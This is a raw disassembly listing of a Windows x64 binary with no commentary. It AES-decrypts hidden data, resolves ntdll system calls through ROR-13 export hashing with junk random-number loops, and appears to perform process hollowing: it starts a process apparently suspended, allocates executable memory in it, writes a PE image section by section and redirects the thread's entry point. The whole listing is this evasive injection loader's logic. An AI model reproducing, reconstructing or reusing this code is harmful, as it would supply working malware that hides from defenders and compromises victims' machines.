call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005978
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005a22
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x1400059ae
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400059fd
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x1a50]
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x1400059d9
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400059fd
movsxd rax, dword [rbp - 0x60]
lea rdx, [rbp - 0x30]
add rdx, rax
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140005a19
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005a58
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005b08
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140005a8e
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140005ae3
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x1a90]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x5a0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140005abc
lea rdx, str.Failed_to_decrypt_data
jmp 0x140005ae3
movsxd rax, dword [rbp - 0x60]
lea rdx, [rbp + 0x5a0]
add rdx, rax
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140005aff
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005b3e
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005bee
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140005b74
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140005bc9
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0x1ad0]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x538]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140005ba2
lea rdx, str.Failed_to_decrypt_data
jmp 0x140005bc9
movsxd rax, dword [rbp - 0x60]
lea rdx, [rbp + 0x538]
add rdx, rax
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140005be5
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005c24
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005cd1
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140005c5a
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140005cac
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x1b10]
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140005c88
lea rdx, str.Failed_to_decrypt_data
jmp 0x140005cac
movsxd rax, dword [rbp - 0x60]
lea rdx, [rbp - 0x28]
add rdx, rax
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140005cc8
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov rax, qword [rbp - 0x30]
mov rsi, qword [rsp + 0x68]
add rax, rsi
mov qword [rsp + 0x68], rax
add rsi, qword [rbp - 0x28]
lea rdi, [rbp + 0x1f20]
xor eax, eax
mov ecx, 0x1208
rep stosb byte [rdi], al
lea rax, [rbp + 0x1d10]
mov r13, 0xffffffffffffffff
mov rdi, r13
nop word [rax + rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140005d10
add rdi, rdi
mov r8, rdi
lea rdx, [rbp + 0x1d10]
lea rcx, [rbp + 0x1f20]
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x20
mov word [rbp + rdi + 0x1f20], ax
mov rax, qword [rsp + 0x70]
movzx eax, word [rax]
mov word [rbp + rdi + 0x1f22], ax
movsxd r15, dword [0x1400140fc]
lea rax, [0x1400140c0]
add r15, rax
cmp dword [r15], 0x4550
je 0x140005d74
mov ebx, 0xfffffffd
jmp 0x140006688
mov qword [rsp + 0x48], r12
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rax
xor r14d, r14d
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov ebx, 1
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1f20]
xor ecx, ecx
call rsi
test eax, eax
jne 0x140005dc0
mov ebx, 0xfffffffc
jmp 0x140006688
lea rcx, [0x14000d868]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140005e59
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x60], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x32
sub edi, ecx
mov ecx, dword [rbp - 0x60]
sub ecx, edi
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0x58]
mov eax, dword [rbp - 0x60]
add ecx, eax
mov dword [rsp + 0x58], ecx
inc r14d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp r14d, edi
jl 0x140005df4
xor eax, eax
mov r14d, eax
test rsi, rsi
je 0x140005f1b
lea rcx, str.ZwGetContextThread
mov edi, eax
mov al, 0x5a
nop dword [rax]
nop word [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140005e80
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
add rcx, rsi
mov r8d, dword [rcx + 0x20]
add r8, rsi
mov r11d, dword [rcx + 0x24]
add r11, rsi
mov eax, dword [rcx + 0x1c]
add rax, rsi
mov qword [rsp + 0x60], rax
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x140005f1b
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rsi
movzx ecx, byte [rdx]
test cl, cl
je 0x140005ef3
nop dword [rax]
ror eax, 0xd
movsx ecx, cl
add eax, ecx
lea rdx, [rdx + 1]
movzx ecx, byte [rdx]
test cl, cl
jne 0x140005ee0
cmp eax, edi
je 0x140005f08
inc r9d
add r8, 4
cmp r9d, r10d
mov rax, r14
jb 0x140005ed0
jmp 0x140005f1b
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + rcx*4]
add rax, rsi
sub rax, rsi
mov qword [rbp + 0x540], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140005f5b
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006011
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, ebx
je 0x140005fac
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006008
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x540]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x1b90]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, ebx
je 0x140005fdc
lea rdx, str.Failed_to_encrypt_data
jmp 0x140005f8e
movsxd r14, dword [rbp - 0x60]
lea rdx, [rbp + 0x1b90]
add rdx, r14
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, ebx
je 0x140006004
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140005f8e
add r14d, dword [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140006047
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400060ee
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, ebx
je 0x14000607c
lea rdx, str.Failed_to_initialize_decryption
jmp 0x1400060c9
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x1b90]
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, ebx
je 0x1400060a6
lea rdx, str.Failed_to_decrypt_data
jmp 0x1400060c9
movsxd rax, dword [rbp - 0x60]
lea rdx, [rbp - 0x20]
add rdx, rax
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, ebx
je 0x1400060e5
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov rax, qword [rbp - 0x20]
add rax, rsi
mov qword [rsp + 0x70], rax
xor eax, eax
mov r14d, eax
test rsi, rsi
je 0x1400061bb
lea rcx, str.ZwAllocateVirtualMemory
mov edi, eax
mov al, 0x5a
nop dword [rax]
nop word [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140006120
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
add rcx, rsi
mov r8d, dword [rcx + 0x20]
add r8, rsi
mov r11d, dword [rcx + 0x24]
add r11, rsi
mov eax, dword [rcx + 0x1c]
add rax, rsi
mov qword [rsp + 0x60], rax
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x1400061bb
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rsi
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x140006193
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140006180
cmp ecx, edi
je 0x1400061a8
inc r9d
add r8, 4
cmp r9d, r10d
mov rax, r14
jb 0x140006170
jmp 0x1400061bb
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + rcx*4]
add rax, rsi
sub rax, rsi
mov qword [rbp + 0x548], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x1400061fb
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400062b1
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, ebx
je 0x14000624c
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400062a8
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x548]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x1b50]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, ebx
je 0x14000627c
lea rdx, str.Failed_to_encrypt_data
jmp 0x14000622e
movsxd r14, dword [rbp - 0x60]
lea rdx, [rbp + 0x1b50]
add rdx, r14
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, ebx
je 0x1400062a4
lea rdx, str.Failed_to_finalize_encryption
jmp 0x14000622e
add r14d, dword [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x1400062e7
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000638e
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1950]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, ebx
je 0x14000631c
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140006369
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x1b50]
lea r8, [rbp - 0x60]
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, ebx
je 0x140006346
lea rdx, str.Failed_to_decrypt_data
jmp 0x140006369
movsxd rax, dword [rbp - 0x60]
lea rdx, [rbp - 0x40]
add rdx, rax
lea r8, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, ebx
je 0x140006385
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
lea rdx, [0x140008610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
add rsi, qword [rbp - 0x40]
lea rdi, [rbp]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbp + 0x30], 0x10000b
lea rdx, [rbp]
mov rcx, qword [r12 + 8]
call qword [rsp + 0x70]
mov rcx, qword [r12]
test eax, eax
jns 0x1400063d0
mov edx, 0xfffffffb
call qword [0x140016348]
mov ebx, 0xfffffffb
jmp 0x140006688
mov rax, qword [r15 + 0x30]
mov qword [rbp - 0x48], rax
mov eax, dword [r15 + 0x50]
mov qword [rbp + 0x550], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x550]
xor r8d, r8d
lea rdx, [rbp - 0x48]
call rsi
test eax, eax
js 0x140006651
cmp qword [rbp - 0x48], 0
je 0x140006651
lea rcx, [0x14000d868]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x140006455
lea rdx, str.Failed_to_get_handle_to_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ebx, ebx
jmp 0x140006688
lea rdx, str.ZwWriteVirtualMemory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1934], 0xffffffff
mov dword [rbp + 0x5b4], eax
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, ebx
mov dword [rbp + rbx*4 + 0x5b4], eax
inc rbx
cmp rbx, 0x270
jb 0x140006480
mov dword [rbp + 0x5b0], 0x270
lea rcx, [rbp + 0x5b0]
call fcn.14000a140
test rsi, rsi
jne 0x1400064e5
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory_n
call fcn.140001280
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x14000668b
mov r9d, dword [r15 + 0x54]
lea rax, [rbp + 0x5a8]
mov qword [rsp + 0x20], rax
lea r8, [0x1400140c0]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [r12]
call rsi
xor r13d, r13d
mov edi, r13d
cmp r13w, word [r15 + 6]
jae 0x140006570
mov ebx, r13d
mov r14, qword [rsp + 0x68]
nop dword [rax + rax]
movsxd rax, dword [0x1400140fc]
add rax, rbx
lea rcx, [0x1400140c0]
mov r9d, dword [rax + rcx + 0x118]
mov r8d, dword [rax + rcx + 0x11c]
add r8, rcx
mov edx, dword [rax + rcx + 0x114]
add rdx, qword [rbp - 0x48]
mov qword [rsp + 0x20], r13
mov rcx, qword [r12]
call r14
test eax, eax
je 0x1400065ac
inc rdi
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp rdi, rax
jb 0x140006520
mov rdx, qword [rbp + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp - 0x48]
mov rcx, qword [r12]
call rsi
test eax, eax
je 0x1400065c4
mov r13d, 0xfffffff7
mov edx, r13d
mov rcx, qword [r12]
call qword [0x140016348]
jmp 0x14000668b
mov r13d, 0xfffffff8
mov edx, r13d
mov rcx, qword [r12]
call qword [0x140016348]
jmp 0x14000668b
mov eax, dword [r15 + 0x28]
add rax, qword [rbp - 0x48]
mov qword [rbp + 0x80], rax
lea rdx, [rbp]
mov rcx, qword [r12 + 8]
call qword [rsp + 0x78]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x19b0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x19a0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
lea rdx, [rbp + 0x19a0]
lea rcx, [rbp + 0x19b0]
call fcn.140004770
xor edx, edx
mov rcx, qword [r12 + 8]
call rax
test eax, eax
je 0x14000668b
mov r13d, 0xfffffff5
mov edx, r13d
mov rcx, qword [r12]
call qword [0x140016348]
jmp 0x14000668b
lea rdx, str.ZwAllocateVirtualMemory_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140008430
mov rcx, rax
lea rdx, [0x140008610]
